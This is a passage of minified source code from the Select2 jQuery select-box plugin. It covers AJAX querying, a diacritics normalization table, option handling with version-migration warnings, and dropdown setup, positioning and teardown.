t=o.data,e=r,n=o.transport||v.fn.select2.ajaxDefaults.transport,i={type:o.type||"GET",cache:o.cache||!1,jsonpCallback:o.jsonpCallback||b,dataType:o.dataType||"json"},i=v.extend({},v.fn.select2.ajaxDefaults.params,i),t=t?t.call(l,s.term,s.page,s.context):null,e="function"==typeof e?e.call(l,s.term,s.page,s.context):e;a&&"function"==typeof a.abort&&a.abort(),o.params&&(v.isFunction(o.params)?v.extend(i,o.params.call(l)):v.extend(i,o.params)),v.extend(i,{url:e,dataType:o.dataType,data:t,success:function(t){t=o.results(t,s.page,s);s.callback(t)},error:function(t,e,n){s.callback({hasError:!0,jqXHR:t,textStatus:e,errorThrown:n})}}),a=n.call(l,i)},e)}}function k(t){var e,n,i=t,r=function(t){return""+t.text},t=(v.isArray(i)&&(i={results:n=i}),!1===v.isFunction(i)&&(n=i,i=function(){return n}),i());return t.text&&(r=t.text,v.isFunction(r)||(e=t.text,r=function(t){return t[e]})),function(s){var o,a=s.term,n={results:[]};""===a?s.callback(i()):(o=function(t,e){var n,i;if((t=t[0]).children){for(i in n={},t)t.hasOwnProperty(i)&&(n[i]=t[i]);n.children=[],v(t.children).each2(function(t,e){o(e,n.children)}),(n.children.length||s.matcher(a,r(n),t))&&e.push(n)}else s.matcher(a,r(t),t)&&e.push(t)},v(i().results).each2(function(t,e){o(e,n.results)}),s.callback(n))}}function D(e){var o=v.isFunction(e);return function(n){var i=n.term,s={results:[]},t=o?e(n):e;v.isArray(t)&&(v(t).each(function(){var t=this.text!==b,e=t?this.text:this;""!==i&&!n.matcher(i,e)||s.results.push(t?this:{id:this,text:this})}),n.callback(s))}}function I(t,e){if(v.isFunction(t))return 1;if(t){if("string"==typeof t)return 1;throw new Error(e+" must be a string, function, or falsy value")}}function A(t,e){var n;return v.isFunction(t)?(n=Array.prototype.slice.call(arguments,2),t.apply(e,n)):t}function M(){var n=this;v.each(arguments,function(t,e){n[e].remove(),n[e]=null})}function P(t,e){function n(){}return((n.prototype=new t).constructor=n).prototype.parent=t.prototype,n.prototype=v.extend(n.prototype,e),n}window.Select2===b&&(r={x:0,y:0},c={TAB:9,ENTER:13,ESC:27,SPACE:32,LEFT:37,UP:38,RIGHT:39,DOWN:40,SHIFT:16,CTRL:17,ALT:18,PAGE_UP:33,PAGE_DOWN:34,HOME:36,END:35,BACKSPACE:8,DELETE:46,isArrow:function(t){switch(t=t.which||t){case c.LEFT:case c.RIGHT:case c.UP:case c.DOWN:return!0}return!1},isControl:function(t){switch(t.which){case c.SHIFT:case c.CTRL:case c.ALT:return!0}return!!t.metaKey},isFunctionKey:function(t){return 112<=(t=t.which||t)&&t<=123}},i={"Ⓐ":"A","A":"A","À":"A","Á":"A","Â":"A","Ầ":"A","Ấ":"A","Ẫ":"A","Ẩ":"A","Ã":"A","Ā":"A","Ă":"A","Ằ":"A","Ắ":"A","Ẵ":"A","Ẳ":"A","Ȧ":"A","Ǡ":"A","Ä":"A","Ǟ":"A","Ả":"A","Å":"A","Ǻ":"A","Ǎ":"A","Ȁ":"A","Ȃ":"A","Ạ":"A","Ậ":"A","Ặ":"A","Ḁ":"A","Ą":"A","Ⱥ":"A","Ɐ":"A","Ꜳ":"AA","Æ":"AE","Ǽ":"AE","Ǣ":"AE","Ꜵ":"AO","Ꜷ":"AU","Ꜹ":"AV","Ꜻ":"AV","Ꜽ":"AY","Ⓑ":"B","B":"B","Ḃ":"B","Ḅ":"B","Ḇ":"B","Ƀ":"B","Ƃ":"B","Ɓ":"B","Ⓒ":"C","C":"C","Ć":"C","Ĉ":"C","Ċ":"C","Č":"C","Ç":"C","Ḉ":"C","Ƈ":"C","Ȼ":"C","Ꜿ":"C","Ⓓ":"D","D":"D","Ḋ":"D","Ď":"D","Ḍ":"D","Ḑ":"D","Ḓ":"D","Ḏ":"D","Đ":"D","Ƌ":"D","Ɗ":"D","Ɖ":"D","Ꝺ":"D","DZ":"DZ","DŽ":"DZ","Dz":"Dz","Dž":"Dz","Ⓔ":"E","E":"E","È":"E","É":"E","Ê":"E","Ề":"E","Ế":"E","Ễ":"E","Ể":"E","Ẽ":"E","Ē":"E","Ḕ":"E","Ḗ":"E","Ĕ":"E","Ė":"E","Ë":"E","Ẻ":"E","Ě":"E","Ȅ":"E","Ȇ":"E","Ẹ":"E","Ệ":"E","Ȩ":"E","Ḝ":"E","Ę":"E","Ḙ":"E","Ḛ":"E","Ɛ":"E","Ǝ":"E","Ⓕ":"F","F":"F","Ḟ":"F","Ƒ":"F","Ꝼ":"F","Ⓖ":"G","G":"G","Ǵ":"G","Ĝ":"G","Ḡ":"G","Ğ":"G","Ġ":"G","Ǧ":"G","Ģ":"G","Ǥ":"G","Ɠ":"G","Ꞡ":"G","Ᵹ":"G","Ꝿ":"G","Ⓗ":"H","H":"H","Ĥ":"H","Ḣ":"H","Ḧ":"H","Ȟ":"H","Ḥ":"H","Ḩ":"H","Ḫ":"H","Ħ":"H","Ⱨ":"H","Ⱶ":"H","Ɥ":"H","Ⓘ":"I","I":"I","Ì":"I","Í":"I","Î":"I","Ĩ":"I","Ī":"I","Ĭ":"I","İ":"I","Ï":"I","Ḯ":"I","Ỉ":"I","Ǐ":"I","Ȉ":"I","Ȋ":"I","Ị":"I","Į":"I","Ḭ":"I","Ɨ":"I","Ⓙ":"J","J":"J","Ĵ":"J","Ɉ":"J","Ⓚ":"K","K":"K","Ḱ":"K","Ǩ":"K","Ḳ":"K","Ķ":"K","Ḵ":"K","Ƙ":"K","Ⱪ":"K","Ꝁ":"K","Ꝃ":"K","Ꝅ":"K","Ꞣ":"K","Ⓛ":"L","L":"L","Ŀ":"L","Ĺ":"L","Ľ":"L","Ḷ":"L","Ḹ":"L","Ļ":"L","Ḽ":"L","Ḻ":"L","Ł":"L","Ƚ":"L","Ɫ":"L","Ⱡ":"L","Ꝉ":"L","Ꝇ":"L","Ꞁ":"L","LJ":"LJ","Lj":"Lj","Ⓜ":"M","M":"M","Ḿ":"M","Ṁ":"M","Ṃ":"M","Ɱ":"M","Ɯ":"M","Ⓝ":"N","N":"N","Ǹ":"N","Ń":"N","Ñ":"N","Ṅ":"N","Ň":"N","Ṇ":"N","Ņ":"N","Ṋ":"N","Ṉ":"N","Ƞ":"N","Ɲ":"N","Ꞑ":"N","Ꞥ":"N","NJ":"NJ","Nj":"Nj","Ⓞ":"O","O":"O","Ò":"O","Ó":"O","Ô":"O","Ồ":"O","Ố":"O","Ỗ":"O","Ổ":"O","Õ":"O","Ṍ":"O","Ȭ":"O","Ṏ":"O","Ō":"O","Ṑ":"O","Ṓ":"O","Ŏ":"O","Ȯ":"O","Ȱ":"O","Ö":"O","Ȫ":"O","Ỏ":"O","Ő":"O","Ǒ":"O","Ȍ":"O","Ȏ":"O","Ơ":"O","Ờ":"O","Ớ":"O","Ỡ":"O","Ở":"O","Ợ":"O","Ọ":"O","Ộ":"O","Ǫ":"O","Ǭ":"O","Ø":"O","Ǿ":"O","Ɔ":"O","Ɵ":"O","Ꝋ":"O","Ꝍ":"O","Ƣ":"OI","Ꝏ":"OO","Ȣ":"OU","Ⓟ":"P","P":"P","Ṕ":"P","Ṗ":"P","Ƥ":"P","Ᵽ":"P","Ꝑ":"P","Ꝓ":"P","Ꝕ":"P","Ⓠ":"Q","Q":"Q","Ꝗ":"Q","Ꝙ":"Q","Ɋ":"Q","Ⓡ":"R","R":"R","Ŕ":"R","Ṙ":"R","Ř":"R","Ȑ":"R","Ȓ":"R","Ṛ":"R","Ṝ":"R","Ŗ":"R","Ṟ":"R","Ɍ":"R","Ɽ":"R","Ꝛ":"R","Ꞧ":"R","Ꞃ":"R","Ⓢ":"S","S":"S","ẞ":"S","Ś":"S","Ṥ":"S","Ŝ":"S","Ṡ":"S","Š":"S","Ṧ":"S","Ṣ":"S","Ṩ":"S","Ș":"S","Ş":"S","Ȿ":"S","Ꞩ":"S","Ꞅ":"S","Ⓣ":"T","T":"T","Ṫ":"T","Ť":"T","Ṭ":"T","Ț":"T","Ţ":"T","Ṱ":"T","Ṯ":"T","Ŧ":"T","Ƭ":"T","Ʈ":"T","Ⱦ":"T","Ꞇ":"T","Ꜩ":"TZ","Ⓤ":"U","U":"U","Ù":"U","Ú":"U","Û":"U","Ũ":"U","Ṹ":"U","Ū":"U","Ṻ":"U","Ŭ":"U","Ü":"U","Ǜ":"U","Ǘ":"U","Ǖ":"U","Ǚ":"U","Ủ":"U","Ů":"U","Ű":"U","Ǔ":"U","Ȕ":"U","Ȗ":"U","Ư":"U","Ừ":"U","Ứ":"U","Ữ":"U","Ử":"U","Ự":"U","Ụ":"U","Ṳ":"U","Ų":"U","Ṷ":"U","Ṵ":"U","Ʉ":"U","Ⓥ":"V","V":"V","Ṽ":"V","Ṿ":"V","Ʋ":"V","Ꝟ":"V","Ʌ":"V","Ꝡ":"VY","Ⓦ":"W","W":"W","Ẁ":"W","Ẃ":"W","Ŵ":"W","Ẇ":"W","Ẅ":"W","Ẉ":"W","Ⱳ":"W","Ⓧ":"X","X":"X","Ẋ":"X","Ẍ":"X","Ⓨ":"Y","Y":"Y","Ỳ":"Y","Ý":"Y","Ŷ":"Y","Ỹ":"Y","Ȳ":"Y","Ẏ":"Y","Ÿ":"Y","Ỷ":"Y","Ỵ":"Y","Ƴ":"Y","Ɏ":"Y","Ỿ":"Y","Ⓩ":"Z","Z":"Z","Ź":"Z","Ẑ":"Z","Ż":"Z","Ž":"Z","Ẓ":"Z","Ẕ":"Z","Ƶ":"Z","Ȥ":"Z","Ɀ":"Z","Ⱬ":"Z","Ꝣ":"Z","ⓐ":"a","a":"a","ẚ":"a","à":"a","á":"a","â":"a","ầ":"a","ấ":"a","ẫ":"a","ẩ":"a","ã":"a","ā":"a","ă":"a","ằ":"a","ắ":"a","ẵ":"a","ẳ":"a","ȧ":"a","ǡ":"a","ä":"a","ǟ":"a","ả":"a","å":"a","ǻ":"a","ǎ":"a","ȁ":"a","ȃ":"a","ạ":"a","ậ":"a","ặ":"a","ḁ":"a","ą":"a","ⱥ":"a","ɐ":"a","ꜳ":"aa","æ":"ae","ǽ":"ae","ǣ":"ae","ꜵ":"ao","ꜷ":"au","ꜹ":"av","ꜻ":"av","ꜽ":"ay","ⓑ":"b","b":"b","ḃ":"b","ḅ":"b","ḇ":"b","ƀ":"b","ƃ":"b","ɓ":"b","ⓒ":"c","c":"c","ć":"c","ĉ":"c","ċ":"c","č":"c","ç":"c","ḉ":"c","ƈ":"c","ȼ":"c","ꜿ":"c","ↄ":"c","ⓓ":"d","d":"d","ḋ":"d","ď":"d","ḍ":"d","ḑ":"d","ḓ":"d","ḏ":"d","đ":"d","ƌ":"d","ɖ":"d","ɗ":"d","ꝺ":"d","dz":"dz","dž":"dz","ⓔ":"e","e":"e","è":"e","é":"e","ê":"e","ề":"e","ế":"e","ễ":"e","ể":"e","ẽ":"e","ē":"e","ḕ":"e","ḗ":"e","ĕ":"e","ė":"e","ë":"e","ẻ":"e","ě":"e","ȅ":"e","ȇ":"e","ẹ":"e","ệ":"e","ȩ":"e","ḝ":"e","ę":"e","ḙ":"e","ḛ":"e","ɇ":"e","ɛ":"e","ǝ":"e","ⓕ":"f","f":"f","ḟ":"f","ƒ":"f","ꝼ":"f","ⓖ":"g","g":"g","ǵ":"g","ĝ":"g","ḡ":"g","ğ":"g","ġ":"g","ǧ":"g","ģ":"g","ǥ":"g","ɠ":"g","ꞡ":"g","ᵹ":"g","ꝿ":"g","ⓗ":"h","h":"h","ĥ":"h","ḣ":"h","ḧ":"h","ȟ":"h","ḥ":"h","ḩ":"h","ḫ":"h","ẖ":"h","ħ":"h","ⱨ":"h","ⱶ":"h","ɥ":"h","ƕ":"hv","ⓘ":"i","i":"i","ì":"i","í":"i","î":"i","ĩ":"i","ī":"i","ĭ":"i","ï":"i","ḯ":"i","ỉ":"i","ǐ":"i","ȉ":"i","ȋ":"i","ị":"i","į":"i","ḭ":"i","ɨ":"i","ı":"i","ⓙ":"j","j":"j","ĵ":"j","ǰ":"j","ɉ":"j","ⓚ":"k","k":"k","ḱ":"k","ǩ":"k","ḳ":"k","ķ":"k","ḵ":"k","ƙ":"k","ⱪ":"k","ꝁ":"k","ꝃ":"k","ꝅ":"k","ꞣ":"k","ⓛ":"l","l":"l","ŀ":"l","ĺ":"l","ľ":"l","ḷ":"l","ḹ":"l","ļ":"l","ḽ":"l","ḻ":"l","ſ":"l","ł":"l","ƚ":"l","ɫ":"l","ⱡ":"l","ꝉ":"l","ꞁ":"l","ꝇ":"l","lj":"lj","ⓜ":"m","m":"m","ḿ":"m","ṁ":"m","ṃ":"m","ɱ":"m","ɯ":"m","ⓝ":"n","n":"n","ǹ":"n","ń":"n","ñ":"n","ṅ":"n","ň":"n","ṇ":"n","ņ":"n","ṋ":"n","ṉ":"n","ƞ":"n","ɲ":"n","ʼn":"n","ꞑ":"n","ꞥ":"n","nj":"nj","ⓞ":"o","o":"o","ò":"o","ó":"o","ô":"o","ồ":"o","ố":"o","ỗ":"o","ổ":"o","õ":"o","ṍ":"o","ȭ":"o","ṏ":"o","ō":"o","ṑ":"o","ṓ":"o","ŏ":"o","ȯ":"o","ȱ":"o","ö":"o","ȫ":"o","ỏ":"o","ő":"o","ǒ":"o","ȍ":"o","ȏ":"o","ơ":"o","ờ":"o","ớ":"o","ỡ":"o","ở":"o","ợ":"o","ọ":"o","ộ":"o","ǫ":"o","ǭ":"o","ø":"o","ǿ":"o","ɔ":"o","ꝋ":"o","ꝍ":"o","ɵ":"o","ƣ":"oi","ȣ":"ou","ꝏ":"oo","ⓟ":"p","p":"p","ṕ":"p","ṗ":"p","ƥ":"p","ᵽ":"p","ꝑ":"p","ꝓ":"p","ꝕ":"p","ⓠ":"q","q":"q","ɋ":"q","ꝗ":"q","ꝙ":"q","ⓡ":"r","r":"r","ŕ":"r","ṙ":"r","ř":"r","ȑ":"r","ȓ":"r","ṛ":"r","ṝ":"r","ŗ":"r","ṟ":"r","ɍ":"r","ɽ":"r","ꝛ":"r","ꞧ":"r","ꞃ":"r","ⓢ":"s","s":"s","ß":"s","ś":"s","ṥ":"s","ŝ":"s","ṡ":"s","š":"s","ṧ":"s","ṣ":"s","ṩ":"s","ș":"s","ş":"s","ȿ":"s","ꞩ":"s","ꞅ":"s","ẛ":"s","ⓣ":"t","t":"t","ṫ":"t","ẗ":"t","ť":"t","ṭ":"t","ț":"t","ţ":"t","ṱ":"t","ṯ":"t","ŧ":"t","ƭ":"t","ʈ":"t","ⱦ":"t","ꞇ":"t","ꜩ":"tz","ⓤ":"u","u":"u","ù":"u","ú":"u","û":"u","ũ":"u","ṹ":"u","ū":"u","ṻ":"u","ŭ":"u","ü":"u","ǜ":"u","ǘ":"u","ǖ":"u","ǚ":"u","ủ":"u","ů":"u","ű":"u","ǔ":"u","ȕ":"u","ȗ":"u","ư":"u","ừ":"u","ứ":"u","ữ":"u","ử":"u","ự":"u","ụ":"u","ṳ":"u","ų":"u","ṷ":"u","ṵ":"u","ʉ":"u","ⓥ":"v","v":"v","ṽ":"v","ṿ":"v","ʋ":"v","ꝟ":"v","ʌ":"v","ꝡ":"vy","ⓦ":"w","w":"w","ẁ":"w","ẃ":"w","ŵ":"w","ẇ":"w","ẅ":"w","ẘ":"w","ẉ":"w","ⱳ":"w","ⓧ":"x","x":"x","ẋ":"x","ẍ":"x","ⓨ":"y","y":"y","ỳ":"y","ý":"y","ŷ":"y","ỹ":"y","ȳ":"y","ẏ":"y","ÿ":"y","ỷ":"y","ẙ":"y","ỵ":"y","ƴ":"y","ɏ":"y","ỿ":"y","ⓩ":"z","z":"z","ź":"z","ẑ":"z","ż":"z","ž":"z","ẓ":"z","ẕ":"z","ƶ":"z","ȥ":"z","ɀ":"z","ⱬ":"z","ꝣ":"z","Ά":"Α","Έ":"Ε","Ή":"Η","Ί":"Ι","Ϊ":"Ι","Ό":"Ο","Ύ":"Υ","Ϋ":"Υ","Ώ":"Ω","ά":"α","έ":"ε","ή":"η","ί":"ι","ϊ":"ι","ΐ":"ι","ό":"ο","ύ":"υ","ϋ":"υ","ΰ":"υ","ω":"ω","ς":"σ"},a=v(document),o=1,y=function(){return o++},t=P(Object,{bind:function(t){var e=this;return function(){t.apply(e,arguments)}},init:function(t){var o,e,n,i,s=".select2-results",a=(this.opts=t=this.prepareOpts(t),this.id=t.id,t.element.data("select2")!==b&&null!==t.element.data("select2")&&t.element.data("select2").destroy(),this.container=this.createContainer(),this.liveRegion=v(".select2-hidden-accessible"),0==this.liveRegion.length&&(this.liveRegion=v("<span>",{role:"status","aria-live":"polite"}).addClass("select2-hidden-accessible").appendTo(document.body)),this.containerId="s2id_"+(t.element.attr("id")||"autogen"+y()),this.containerEventName=this.containerId.replace(/([.])/g,"_").replace(/([;&,\-\.\+\*\~':"\!\^#$%@\[\]\(\)=>\|])/g,"\\$1"),this.container.attr("id",this.containerId),this.container.attr("title",t.element.attr("title")),this.body=v(document.body),w(this.container,this.opts.element,this.opts.adaptContainerCssClass),this.container.attr("style",t.element.attr("style")),this.container.css(A(t.containerCss,this.opts.element)),this.container.addClass(A(t.containerCssClass,this.opts.element)),this.elementTabIndex=this.opts.element.attr("tabindex"),this.opts.element.data("select2",this).attr("tabindex","-1").before(this.container).on("click.select2",_),this.container.data("select2",this),this.dropdown=this.container.find(".select2-drop"),w(this.dropdown,this.opts.element,this.opts.adaptDropdownCssClass),this.dropdown.addClass(A(t.dropdownCssClass,this.opts.element)),this.dropdown.data("select2",this),this.dropdown.on("click",_),this.results=o=this.container.find(s),this.search=e=this.container.find("input.select2-input"),this.queryCount=0,this.resultsPage=0,this.context=null,this.initContainer(),this.container.on("click",_),this.results.on("mousemove",function(t){var e=r;e!==b&&e.x===t.pageX&&e.y===t.pageY||v(t.target).trigger("mousemove-filtered",t)}),this.dropdown.on("mousemove-filtered",s,this.bind(this.highlightUnderEvent)),this.dropdown.on("touchstart touchmove touchend",s,this.bind(function(t){this._touchEvent=!0,this.highlightUnderEvent(t)})),this.dropdown.on("touchmove",s,this.bind(this.touchMoved)),this.dropdown.on("touchstart touchend",s,this.bind(this.clearTouchMoved)),this.dropdown.on("click",this.bind(function(t){this._touchEvent&&(this._touchEvent=!1,this.selectHighlighted())})),a=80,n=this.results,i=S(a,function(t){n.trigger("scroll-debounced",t)}),n.on("scroll",function(t){0<=u(t.target,n.get())&&i(t)}),this.dropdown.on("scroll-debounced",s,this.bind(this.loadMoreIfNeeded)),v(this.container).on("change",".select2-input",function(t){t.stopPropagation()}),v(this.dropdown).on("change",".select2-input",function(t){t.stopPropagation()}),v.fn.mousewheel&&o.mousewheel(function(t,e,n,i){var s=o.scrollTop();0<i&&s-i<=0?(o.scrollTop(0),_(t)):i<0&&o.get(0).scrollHeight-o.scrollTop()+i<=o.height()&&(o.scrollTop(o.get(0).scrollHeight-o.height()),_(t))}),g(e),e.on("keyup-change input paste",this.bind(this.updateResults)),e.on("focus",function(){e.addClass("select2-focused")}),e.on("blur",function(){e.removeClass("select2-focused")}),this.dropdown.on("mouseup",s,this.bind(function(t){0<v(t.target).closest(".select2-result-selectable").length&&(this.highlightUnderEvent(t),this.selectHighlighted(t))})),this.dropdown.on("click mouseup mousedown touchstart touchend focusin",function(t){t.stopPropagation()}),this.lastSearchTerm=b,v.isFunction(this.opts.initSelection)&&(this.initSelection(),this.monitorSource()),null!==t.maximumInputLength&&this.search.attr("maxlength",t.maximumInputLength),t.element.prop("disabled")),s=(this.enable(!(a=a===b?!1:a)),t.element.prop("readonly"));this.readonly(s=s===b?!1:s),m=m||((a=v("<div class='select2-measure-scrollbar'></div>")).appendTo(document.body),s={width:a.width()-a[0].clientWidth,height:a.height()-a[0].clientHeight},a.remove(),s),this.autofocus=t.element.prop("autofocus"),t.element.prop("autofocus",!1),this.autofocus&&this.focus(),this.search.attr("placeholder",t.searchInputPlaceholder)},destroy:function(){var t=this.opts.element,e=t.data("select2"),n=this;this.close(),t.length&&t[0].detachEvent&&n._sync&&t.each(function(){n._sync&&this.detachEvent("onpropertychange",n._sync)}),this.propertyObserver&&(this.propertyObserver.disconnect(),this.propertyObserver=null),this._sync=null,e!==b&&(e.container.remove(),e.liveRegion.remove(),e.dropdown.remove(),t.removeData("select2").off(".select2"),t.is("input[type='hidden']")?t.css("display",""):(t.show().prop("autofocus",this.autofocus||!1),this.elementTabIndex?t.attr({tabindex:this.elementTabIndex}):t.removeAttr("tabindex"),t.show())),M.call(this,"container","liveRegion","dropdown","results","search")},optionToData:function(t){return t.is("option")?{id:t.prop("value"),text:t.text(),element:t.get(),css:t.attr("class"),disabled:t.prop("disabled"),locked:d(t.attr("locked"),"locked")||d(t.data("locked"),!0)}:t.is("optgroup")?{text:t.attr("label"),children:[],element:t.get(),css:t.attr("class")}:void 0},prepareOpts:function(g){var t,e,n,m=this,a=g.element;if("select"===a.get(0).tagName.toLowerCase()&&(this.select=t=g.element),t&&v.each(["id","multiple","ajax","query","createSearchChoice","initSelection","data","tags"],function(){if(this in g)throw new Error("Option '"+this+"' is not allowed for Select2 when attached to a <select> element.")}),g.debug=g.debug||v.fn.select2.defaults.debug,g.debug&&console&&console.warn&&(null!=g.id&&console.warn("Select2: The `id` option has been removed in Select2 4.0.0, consider renaming your `id` property or mapping the property before your data makes it to Select2. You can read more at https://select2.github.io/announcements-4.0.html#changed-id"),null!=g.text&&console.warn("Select2: The `text` option has been removed in Select2 4.0.0, consider renaming your `text` property or mapping the property before your data makes it to Select2. You can read more at https://select2.github.io/announcements-4.0.html#changed-id"),null!=g.sortResults&&console.warn("Select2: the `sortResults` option has been renamed to `sorter` in Select2 4.0.0. "),null!=g.selectOnBlur&&console.warn("Select2: The `selectOnBlur` option has been renamed to `selectOnClose` in Select2 4.0.0."),null!=g.ajax&&null!=g.ajax.results&&console.warn("Select2: The `ajax.results` option has been renamed to `ajax.processResults` in Select2 4.0.0."),null!=g.formatNoResults&&console.warn("Select2: The `formatNoResults` option has been renamed to `language.noResults` in Select2 4.0.0."),null!=g.formatSearching&&console.warn("Select2: The `formatSearching` option has been renamed to `language.searching` in Select2 4.0.0."),null!=g.formatInputTooShort&&console.warn("Select2: The `formatInputTooShort` option has been renamed to `language.inputTooShort` in Select2 4.0.0."),null!=g.formatInputTooLong&&console.warn("Select2: The `formatInputTooLong` option has been renamed to `language.inputTooLong` in Select2 4.0.0."),null!=g.formatLoading&&console.warn("Select2: The `formatLoading` option has been renamed to `language.loadingMore` in Select2 4.0.0."),null!=g.formatSelectionTooBig&&console.warn("Select2: The `formatSelectionTooBig` option has been renamed to `language.maximumSelected` in Select2 4.0.0."),g.element.data("select2Tags"))&&console.warn("Select2: The `data-select2-tags` attribute has been renamed to `data-tags` in Select2 4.0.0."),null!=g.element.data("tags")&&(n=g.element.data("tags"),v.isArray(n)||(n=[]),g.element.data("select2Tags",n)),null!=g.sorter&&(g.sortResults=g.sorter),null!=g.selectOnClose&&(g.selectOnBlur=g.selectOnClose),null!=g.ajax&&v.isFunction(g.ajax.processResults)&&(g.ajax.results=g.ajax.processResults),null!=g.language&&(n=g.language,v.isFunction(n.noMatches)&&(g.formatNoMatches=n.noMatches),v.isFunction(n.searching)&&(g.formatSearching=n.searching),v.isFunction(n.inputTooShort)&&(g.formatInputTooShort=n.inputTooShort),v.isFunction(n.inputTooLong)&&(g.formatInputTooLong=n.inputTooLong),v.isFunction(n.loadingMore)&&(g.formatLoading=n.loadingMore),v.isFunction(n.maximumSelected))&&(g.formatSelectionTooBig=n.maximumSelected),"function"!=typeof(g=v.extend({},{populateResults:function(t,e,u){var d=this.opts.id,p=this.liveRegion,f=function(t,e,n){for(var i,s,o,a,r,l=[],c=0,h=(t=g.sortResults(t,e,u)).length;c<h;c+=1)a=!(r=!0===(i=t[c]).disabled)&&d(i)!==b,s=i.children&&0<i.children.length,(o=v("<li></li>")).addClass("select2-results-dept-"+n),o.addClass("select2-result"),o.addClass(a?"select2-result-selectable":"select2-result-unselectable"),r&&o.addClass("select2-disabled"),s&&o.addClass("select2-result-with-children"),o.addClass(m.opts.formatResultCssClass(i)),o.attr("role","presentation"),(a=v(document.createElement("div"))).addClass("select2-result-label"),a.attr("id","select2-result-label-"+y()),a.attr("role","option"),(r=g.formatResult(i,a,u,m.opts.escapeMarkup))!==b&&(a.html(r),o.append(a)),s&&((r=v("<ul></ul>")).addClass("select2-result-sub"),f(i.children,r,n+1),o.append(r)),o.data("select2-data",i),l.push(o[0]);e.append(l),p.text(g.formatMatches(t.length))};f(e,t,0)}},v.fn.select2.defaults,g)).id&&(e=g.id,g.id=function(t){return t[e]}),v.isArray(g.element.data("select2Tags"))){if("tags"in g)throw"tags specified as both an attribute 'data-select2-tags' and in options of Select2 "+g.element.attr("id");g.tags=g.element.data("select2Tags")}if(t?(g.query=this.bind(function(i){var t,n={results:[],more:!1},s=i.term,o=function(t,e){var n;t.is("option")?i.matcher(s,t.text(),t)&&e.push(m.optionToData(t)):t.is("optgroup")&&(n=m.optionToData(t),t.children().each2(function(t,e){o(e,n.children)}),0<n.children.length)&&e.push(n)},e=a.children();(e=this.getPlaceholder()!==b&&0<e.length&&(t=this.getPlaceholderOption())?e.not(t):e).each2(function(t,e){o(e,n.results)}),i.callback(n)}),g.id=function(t){return t.id}):"query"in g||("ajax"in g?((n=g.element.data("ajax-url"))&&0<n.length&&(g.ajax.url=n),g.query=x.call(g.element,g.ajax)):"data"in g?g.query=k(g.data):"tags"in g&&(g.query=D(g.tags),g.createSearchChoice===b&&(g.createSearchChoice=function(t){return{id:v.trim(t),text:v.trim(t)}}),g.initSelection===b)&&(g.initSelection=function(t,e){var n=[];v(p(t.val(),g.separator,g.transformVal)).each(function(){var t={id:this,text:this},e=g.tags;v.isFunction(e)&&(e=e()),v(e).each(function(){if(d(this.id,t.id))return t=this,!1}),n.push(t)}),e(n)})),"function"!=typeof g.query)throw"query function not defined for Select2 "+g.element.attr("id");if("top"===g.createSearchChoicePosition)g.createSearchChoicePosition=function(t,e){t.unshift(e)};else if("bottom"===g.createSearchChoicePosition)g.createSearchChoicePosition=function(t,e){t.push(e)};else if("function"!=typeof g.createSearchChoicePosition)throw"invalid createSearchChoicePosition option must be 'top', 'bottom' or a custom function";return g},monitorSource:function(){var t,e=this.opts.element,n=this;e.on("change.select2",this.bind(function(t){!0!==this.opts.element.data("select2-change-triggered")&&this.initSelection()})),this._sync=this.bind(function(){var t=e.prop("disabled"),t=(this.enable(!(t=t===b?!1:t)),e.prop("readonly"));this.readonly(t=t===b?!1:t),this.container&&(w(this.container,this.opts.element,this.opts.adaptContainerCssClass),this.container.addClass(A(this.opts.containerCssClass,this.opts.element))),this.dropdown&&(w(this.dropdown,this.opts.element,this.opts.adaptDropdownCssClass),this.dropdown.addClass(A(this.opts.dropdownCssClass,this.opts.element)))}),e.length&&e[0].attachEvent&&e.each(function(){this.attachEvent("onpropertychange",n._sync)}),(t=window.MutationObserver||window.WebKitMutationObserver||window.MozMutationObserver)!==b&&(this.propertyObserver&&(delete this.propertyObserver,this.propertyObserver=null),this.propertyObserver=new t(function(t){v.each(t,n._sync)}),this.propertyObserver.observe(e.get(0),{attributes:!0,subtree:!1}))},triggerSelect:function(t){t=v.Event("select2-selecting",{val:this.id(t),object:t,choice:t});return this.opts.element.trigger(t),!t.isDefaultPrevented()},triggerChange:function(t){t=v.extend({},t=t||{},{type:"change",val:this.val()}),this.opts.element.data("select2-change-triggered",!0),this.opts.element.trigger(t),this.opts.element.data("select2-change-triggered",!1),this.opts.element.click(),this.opts.blurOnChange&&this.opts.element.blur()},isInterfaceEnabled:function(){return!0===this.enabledInterface},enableInterface:function(){var t=this._enabled&&!this._readonly;return t!==this.enabledInterface&&(this.container.toggleClass("select2-container-disabled",!t),this.close(),this.enabledInterface=t,!0)},enable:function(t){this._enabled!==(t=t===b||t)&&(this._enabled=t,this.opts.element.prop("disabled",!t),this.enableInterface())},disable:function(){this.enable(!1)},readonly:function(t){this._readonly!==(t=t!==b&&t)&&(this._readonly=t,this.opts.element.prop("readonly",t),this.enableInterface())},opened:function(){return!!this.container&&this.container.hasClass("select2-dropdown-open")},positionDropdown:function(){var t,e,n=this.dropdown,i=this.container,s=i.offset(),o=i.outerHeight(!1),a=i.outerWidth(!1),r=n.outerHeight(!1),l=v(window),c=l.width(),h=l.height(),u=l.scrollLeft()+c,h=l.scrollTop()+h,d=s.top+o,p=s.left,h=d+r<=h,f=s.top-r>=l.scrollTop(),g=n.outerWidth(!1);n.hasClass("select2-drop-above")?(t=!0,!f&&h&&(t=!(e=!0))):(t=!1,!h&&f&&(t=e=!0)),e&&(n.hide(),s=this.container.offset(),o=this.container.outerHeight(!1),a=this.container.outerWidth(!1),r=n.outerHeight(!1),u=l.scrollLeft()+c,l.scrollTop(),d=s.top+o,p=s.left,g=n.outerWidth(!1),n.show(),this.focusSearch()),this.opts.dropdownAutoWidth?(h=v(".select2-results",n)[0],n.addClass("select2-drop-auto-width"),n.css("width",""),a<(g=n.outerWidth(!1)+(h.scrollHeight===h.clientHeight?0:m.width))?a=g:g=a,r=n.outerHeight(!1)):this.container.removeClass("select2-drop-auto-width"),"static"!==this.body.css("position")&&(d-=(f=this.body.offset()).top,p-=f.left),e={left:p=!(p+g<=u)&&s.left+u+i.outerWidth(!1)>g?s.left+this.container.outerWidth(!1)-g:p,width:a},t?(this.container.addClass("select2-drop-above"),n.addClass("select2-drop-above"),r=n.outerHeight(!1),e.top=s.top-r,e.bottom="auto"):(e.top=d,e.bottom="auto",this.container.removeClass("select2-drop-above"),n.removeClass("select2-drop-above")),e=v.extend(e,A(this.opts.dropdownCss,this.opts.element)),n.css(e)},shouldOpen:function(){var 